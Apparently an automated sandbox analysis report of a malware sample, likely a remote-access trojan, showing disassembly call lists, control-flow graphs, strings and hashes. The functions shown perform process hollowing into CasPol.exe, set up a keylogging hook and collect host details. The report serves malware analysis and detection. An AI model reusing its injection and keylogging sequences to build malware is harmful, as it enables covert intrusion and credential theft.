                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CDCD
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CDDA
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040EA1C), ref: 0041CDDD
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressProc$LibraryLoad$HandleModule
                                                                                                                                                                                                  • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                                                                                                                                                                                                  • API String ID: 4236061018-3687161714
                                                                                                                                                                                                  • Opcode ID: 6b21e851a0d3a51eeec0044f2aae63c374cf6436741b915ef551e22e35f3a136
                                                                                                                                                                                                  • Instruction ID: 87b5fa294a9840a4da0a94e675c49188b16ea4214af7843bc20054d8537ab592
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6b21e851a0d3a51eeec0044f2aae63c374cf6436741b915ef551e22e35f3a136
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 06419AA0E8035879DA107BB65D8DE3B3E5CD9857953614837B05C93550FBBCDC408EAE
                                                                                                                                                                                                  Function 0041812A Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 289nativelibraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 448 41812a-418153 449 418157-4181be GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress 448->449 450 4181c4-4181cb 449->450 451 4184bb 449->451 450->451 453 4181d1-4181d8 450->453 452 4184bd-4184c7 451->452 453->451 454 4181de-4181e0 453->454 454->451 455 4181e6-418213 call 436f10 * 2 454->455 455->451 460 418219-418224 455->460 460->451 461 41822a-41825a CreateProcessW 460->461 462 418260-418288 VirtualAlloc GetThreadContext 461->462 463 4184b5 GetLastError 461->463 464 41847f-4184b3 VirtualFree GetCurrentProcess NtUnmapViewOfSection NtClose TerminateProcess 462->464 465 41828e-4182ae ReadProcessMemory 462->465 463->451 464->451 465->464 466 4182b4-4182d6 NtCreateSection 465->466 466->464 467 4182dc-4182e9 466->467 468 4182eb-4182f6 NtUnmapViewOfSection 467->468 469 4182fc-41831e NtMapViewOfSection 467->469 468->469 470 418320-41835d VirtualFree NtClose TerminateProcess 469->470 471 418368-41838f GetCurrentProcess NtMapViewOfSection 469->471 470->449 472 418363 470->472 471->464 473 418395-418399 471->473 472->451 474 4183a2-4183c0 call 436990 473->474 475 41839b-41839f 473->475 478 418402-41840b 474->478 479 4183c2-4183d0 474->479 475->474 480 41842b-41842f 478->480 481 41840d-418413 478->481 482 4183d2-4183f5 call 436990 479->482 484 418431-41844e WriteProcessMemory 480->484 485 418454-41846b SetThreadContext 480->485 481->480 483 418415-418428 call 41853e 481->483 491 4183f7-4183fe 482->491 483->480 484->464 489 418450 484->489 485->464 490 41846d-418479 ResumeThread 485->490 489->485 490->464 493 41847b-41847d 490->493 491->478 493->452
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418171
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00418174
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 00418185
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00418188
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 00418199
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 0041819C
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 004181AD
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004181B0
                                                                                                                                                                                                  • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418252
                                                                                                                                                                                                  • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041826A
                                                                                                                                                                                                  • GetThreadContext.KERNEL32(?,00000000), ref: 00418280
                                                                                                                                                                                                  • ReadProcessMemory.KERNEL32 ref: 004182A6
                                                                                                                                                                                                  • NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000), ref: 004182CE
                                                                                                                                                                                                  • NtUnmapViewOfSection.NTDLL(?,?), ref: 004182F6
                                                                                                                                                                                                  • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418316
                                                                                                                                                                                                  • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00418328
                                                                                                                                                                                                  • NtClose.NTDLL(?), ref: 00418332
                                                                                                                                                                                                  • TerminateProcess.KERNEL32(?,00000000), ref: 0041833C
                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 0041837C
                                                                                                                                                                                                  • NtMapViewOfSection.NTDLL(?,00000000), ref: 00418387
                                                                                                                                                                                                  • WriteProcessMemory.KERNEL32 ref: 00418446
                                                                                                                                                                                                  • SetThreadContext.KERNEL32(?,00000000), ref: 00418463
                                                                                                                                                                                                  • ResumeThread.KERNEL32(?), ref: 00418470
                                                                                                                                                                                                  • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00418487
                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?), ref: 00418492
                                                                                                                                                                                                  • NtUnmapViewOfSection.NTDLL(00000000), ref: 00418499
                                                                                                                                                                                                  • NtClose.NTDLL(?), ref: 004184A3
                                                                                                                                                                                                  • TerminateProcess.KERNEL32(?,00000000), ref: 004184AD
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 004184B5
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$Section$AddressHandleModuleProcView$ThreadVirtual$CloseContextCreateCurrentFreeMemoryTerminateUnmap$AllocErrorLastReadResumeWrite
                                                                                                                                                                                                  • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                                                                                                                                                                                                  • API String ID: 316982871-3035715614
                                                                                                                                                                                                  • Opcode ID: c823a5a523639eb235f5adfe7c5fce7303d6972b4bd708db87ed0c766a231877
                                                                                                                                                                                                  • Instruction ID: d7ba82c79e3f17b97bd8f2c1aaed993f07984c16d96ff77cb9dc1491e823fc6f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c823a5a523639eb235f5adfe7c5fce7303d6972b4bd708db87ed0c766a231877
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 69A15FB0604305AFDB209F64DD85B6B7BE8FF48705F00482EF685D6291EB78D844CB59
                                                                                                                                                                                                  Function 0040A2F3 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 1666 40a2f3-40a30a 1667 40a30c-40a326 GetModuleHandleA SetWindowsHookExA 1666->1667 1668 40a36e-40a37e GetMessageA 1666->1668 1667->1668 1671 40a328-40a36c GetLastError call 41bc1f call 4052fd call 402093 call 41b580 call 401fd8 1667->1671 1669 40a380-40a398 TranslateMessage DispatchMessageA 1668->1669 1670 40a39a 1668->1670 1669->1668 1669->1670 1672 40a39c-40a3a1 1670->1672 1671->1672
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A30E
                                                                                                                                                                                                  • SetWindowsHookExA.USER32(0000000D,0040A2DF,00000000), ref: 0040A31C
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0040A328
                                                                                                                                                                                                    • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                                                                                                                                                                  • GetMessageA.USER32 ref: 0040A376
                                                                                                                                                                                                  • TranslateMessage.USER32(?), ref: 0040A385
                                                                                                                                                                                                  • DispatchMessageA.USER32(?), ref: 0040A390
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • Keylogger initialization failure: error , xrefs: 0040A33C
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                                                                                                                                                                                  • String ID: Keylogger initialization failure: error
                                                                                                                                                                                                  • API String ID: 3219506041-952744263
                                                                                                                                                                                                  • Opcode ID: 0dc1c2640651d2c5fe804fd6a671654dad06f326112922524979b06ffad0e6ec
                                                                                                                                                                                                  • Instruction ID: 8743f2250fb8cae6a99ae5fb3d4b34fe2baf279f6720e4878f05ffc9670b3ffc
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0dc1c2640651d2c5fe804fd6a671654dad06f326112922524979b06ffad0e6ec
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6011BF31510301EBC710BB769D0986B77ACEA95715B20097EFC82E22D1EB34C910CBAA
                                                                                                                                                                                                  Function 100010F1 Relevance: 12.1, APIs: 8, Instructions: 88stringfileCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 1748 100010f1-10001166 call 10002c40 * 2 lstrlenW call 10002c40 lstrcatW lstrlenW 1755 10001177-1000119e lstrlenW FindFirstFileW 1748->1755 1756 10001168-10001172 lstrlenW 1748->1756 1757 100011a0-100011a8 1755->1757 1758 100011e1-100011e9 1755->1758 1756->1755 1759 100011c7-100011d8 FindNextFileW 1757->1759 1760 100011aa-100011c4 call 10001000 1757->1760 1759->1757 1762 100011da-100011db FindClose 1759->1762 1760->1759 1762->1758
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                                                                                                                                                                                                  • lstrcatW.KERNEL32(?,?), ref: 10001151
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                                                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,00000010), ref: 100011D0
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 100011DB
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: lstrlen$Find$File$CloseFirstNextlstrcat
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1083526818-0
                                                                                                                                                                                                  • Opcode ID: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                                                                                                                                                                                                  • Instruction ID: 89aa6ca17049c9a574106098fd68ded4b08ae6dd255c3979a52dcbc6bb9ed716
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D22193715043586BE714EB649C49FDF7BDCEF84394F00092AFA58D3190E770D64487A6
                                                                                                                                                                                                  Function 00411D39 Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 004117D7: SetLastError.KERNEL32(0000000D,00411D57,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411D35), ref: 004117DD
                                                                                                                                                                                                  • SetLastError.KERNEL32(000000C1,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411D35), ref: 00411D72
                                                                                                                                                                                                  • GetNativeSystemInfo.KERNEL32(?), ref: 00411DE0
                                                                                                                                                                                                  • SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?), ref: 00411E04
                                                                                                                                                                                                    • Part of subcall function 00411CDE: VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411E22,?,00000000,00003000,00000040,00000000,?,?), ref: 00411CEE
                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,?), ref: 00411E4B
                                                                                                                                                                                                  • HeapAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 00411E52
                                                                                                                                                                                                  • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411F65
                                                                                                                                                                                                    • Part of subcall function 004120B2: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F72,?,?,?,?,?), ref: 00412122
                                                                                                                                                                                                    • Part of subcall function 004120B2: HeapFree.KERNEL32(00000000), ref: 00412129
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3950776272-0
                                                                                                                                                                                                  • Opcode ID: 718d42136e622159178195cb0efe2cc12f9c08079781f225a480952b3bcd75f7
                                                                                                                                                                                                  • Instruction ID: da58ab861bd0a84ec3871346ef31e8b8814b9d9500880b3a3e1890ad13292c25
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 718d42136e622159178195cb0efe2cc12f9c08079781f225a480952b3bcd75f7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F761A270700611ABCB209F66C981BAA7BA5AF44704F14411AFF05877A2D77CE8C2CBD9
                                                                                                                                                                                                  Function 0040F7E2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00413584: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 004135A4
                                                                                                                                                                                                    • Part of subcall function 00413584: RegQueryValueExA.KERNEL32 ref: 004135C2
                                                                                                                                                                                                    • Part of subcall function 00413584: RegCloseKey.KERNEL32(?), ref: 004135CD
                                                                                                                                                                                                  • Sleep.KERNEL32(00000BB8), ref: 0040F896
                                                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0040F905
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseExitOpenProcessQuerySleepValue
                                                                                                                                                                                                  • String ID: 5.1.3 Pro$override$pth_unenc
                                                                                                                                                                                                  • API String ID: 2281282204-1392497409
                                                                                                                                                                                                  • Opcode ID: 12348d3a2fbe885265e601d0d8f624f68943fb23a48e4508fc59bb7df0f8f03e
                                                                                                                                                                                                  • Instruction ID: d275b5d15c9ff05a0ec0da3c9587874d7690dc7fa5d0ec02d6e8a4ede61593ab
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 12348d3a2fbe885265e601d0d8f624f68943fb23a48e4508fc59bb7df0f8f03e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5921E171B0420127D6087676885B6AE399A9B80708F50453FF409672D7FF7C8E0483AF
                                                                                                                                                                                                  Function 004338C8 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,00000000,00433550,00000034,?,?,0080F770), ref: 004338DA
                                                                                                                                                                                                  • CryptGenRandom.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,004335E3,00000000,?,00000000), ref: 004338F0
                                                                                                                                                                                                  • CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,?,004335E3,00000000,?,00000000,0041E2E2), ref: 00433902
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Crypt$Context$AcquireRandomRelease
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1815803762-0
                                                                                                                                                                                                  • Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                                                                                                                                                                                  • Instruction ID: d68cd6f5f98cbfa2ab0450769c499d20ea76a36e668e3df749659bd42d9a4b78
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 40E09A31208310FBEB301F21AC08F573AA5EF89B66F200A3AF256E40E4D6A68801965C
                                                                                                                                                                                                  Function 004489D7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetSystemTimeAsFileTime.KERNEL32(00000000,0043AB37), ref: 00448A16
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • GetSystemTimePreciseAsFileTime, xrefs: 004489F2
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Time$FileSystem
                                                                                                                                                                                                  • String ID: GetSystemTimePreciseAsFileTime
                                                                                                                                                                                                  • API String ID: 2086374402-595813830
                                                                                                                                                                                                  • Opcode ID: c8476c07d91a2673d79eb1bf06ec4ca2dbc9f8e1099c36818990a3b57f66e430
                                                                                                                                                                                                  • Instruction ID: bacba389ed7ed90706db716b221aab5ed2509560655679cc0f09f15d90276a03
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c8476c07d91a2673d79eb1bf06ec4ca2dbc9f8e1099c36818990a3b57f66e430
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 79E0E531A81618FBD7116B25EC02E7EBB50DB08B02B10027FFC05A7292EE754D14D6DE
                                                                                                                                                                                                  Function 0041B69E Relevance: 3.0, APIs: 2, Instructions: 41COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetComputerNameExW.KERNEL32(00000001,?,0000002B,004750E4), ref: 0041B6BB
                                                                                                                                                                                                  • GetUserNameW.ADVAPI32(?,0040F25E), ref: 0041B6D3
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Name$ComputerUser
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 4229901323-0
                                                                                                                                                                                                  • Opcode ID: 2a75debd1ac83804218ef8ff91a3dd31c7e5d47f43b5da7d436b4f8c80832694
                                                                                                                                                                                                  • Instruction ID: 8360233331794fbd8bccde093e114755ab2a7c2896376219b9d5f45c8fb32f7b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2a75debd1ac83804218ef8ff91a3dd31c7e5d47f43b5da7d436b4f8c80832694
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 90014F7190011CABCB01EBD1DC45EEDB7BCAF44309F10016AB505B21A1EFB46E88CBA8
                                                                                                                                                                                                  Function 00434BD8 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • SetUnhandledExceptionFilter.KERNEL32 ref: 00434BDD
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExceptionFilterUnhandled
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3192549508-0
                                                                                                                                                                                                  • Opcode ID: 2ffe05228c785604148d814c7fc250910b5f8136668f43492b8067ac5164d55b
                                                                                                                                                                                                  • Instruction ID: 702e07acd891e046c8aea5fc6397425f5e3bd38ef0af78e1c7fed93ac6412050
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2ffe05228c785604148d814c7fc250910b5f8136668f43492b8067ac5164d55b
                                                                                                                                                                                                  • Instruction Fuzzy Hash:
                                                                                                                                                                                                  Function 0040EA00 Relevance: 86.5, APIs: 15, Strings: 34, Instructions: 795COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 5 40ea00-40ea82 call 41cbe1 GetModuleFileNameW call 40f3fe call 4020f6 * 2 call 41beac call 40fb52 call 401e8d call 43fd50 22 40ea84-40eac9 call 40fbee call 401e65 call 401fab call 410f72 call 40fb9f call 40f3eb 5->22 23 40eace-40eb96 call 401e65 call 401fab call 401e65 call 40531e call 406383 call 401fe2 call 401fd8 * 2 call 401e65 call 401fc0 call 405aa6 call 401e65 call 4051e3 call 401e65 call 4051e3 5->23 49 40ef2d-40ef3e call 401fd8 22->49 69 40eb98-40ebe3 call 406c59 call 401fe2 call 401fd8 call 401fab call 413584 23->69 70 40ebe9-40ec04 call 401e65 call 40b9f8 23->70 69->70 101 40f38a-40f3a5 call 401fab call 4139e4 call 4124b0 69->101 80 40ec06-40ec25 call 401fab call 413584 70->80 81 40ec3e-40ec45 call 40d0a4 70->81 80->81 97 40ec27-40ec3d call 401fab call 4139e4 80->97 89 40ec47-40ec49 81->89 90 40ec4e-40ec55 81->90 93 40ef2c 89->93 94 40ec57 90->94 95 40ec59-40ec65 call 41b354 90->95 93->49 94->95 105 40ec67-40ec69 95->105 106 40ec6e-40ec72 95->106 97->81 126 40f3aa-40f3db call 41bcef call 401f04 call 413a5e call 401f09 * 2 101->126 105->106 108 40ecb1-40ecc4 call 401e65 call 401fab 106->108 109 40ec74 call 407751 106->109 127 40ecc6 call 407790 108->127 128 40eccb-40ed53 call 401e65 call 41bcef call 401f13 call 401f09 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab 108->128 117 40ec79-40ec7b 109->117 120 40ec87-40ec9a call 401e65 call 401fab 117->120 121 40ec7d-40ec82 call 407773 call 40729b 117->121 120->108 142 40ec9c-40eca2 120->142 121->120 157 40f3e0-40f3ea call 40dd7d call 414f65 126->157 127->128 177 40ed55-40ed6e call 401e65 call 401fab call 43bb56 128->177 178 40edbb-40edbf 128->178 142->108 143 40eca4-40ecaa 142->143 143->108 146 40ecac call 40729b 143->146 146->108 177->178 205 40ed70-40edb6 call 401e65 call 401fab call 401e65 call 401fab call 40da6f call 401f13 call 401f09 177->205 180 40ef41-40efa1 call 436f10 call 40247c call 401fab * 2 call 413733 call 409092 178->180 181 40edc5-40edcc 178->181 236 40efa6-40effa call 401e65 call 401fab call 402093 call 401fab call 4137aa call 401e65 call 401fab call 43bb2c 180->236 183 40ee4a-40ee54 call 409092 181->183 184 40edce-40ee48 call 401e65 call 401fab call 401e65 call 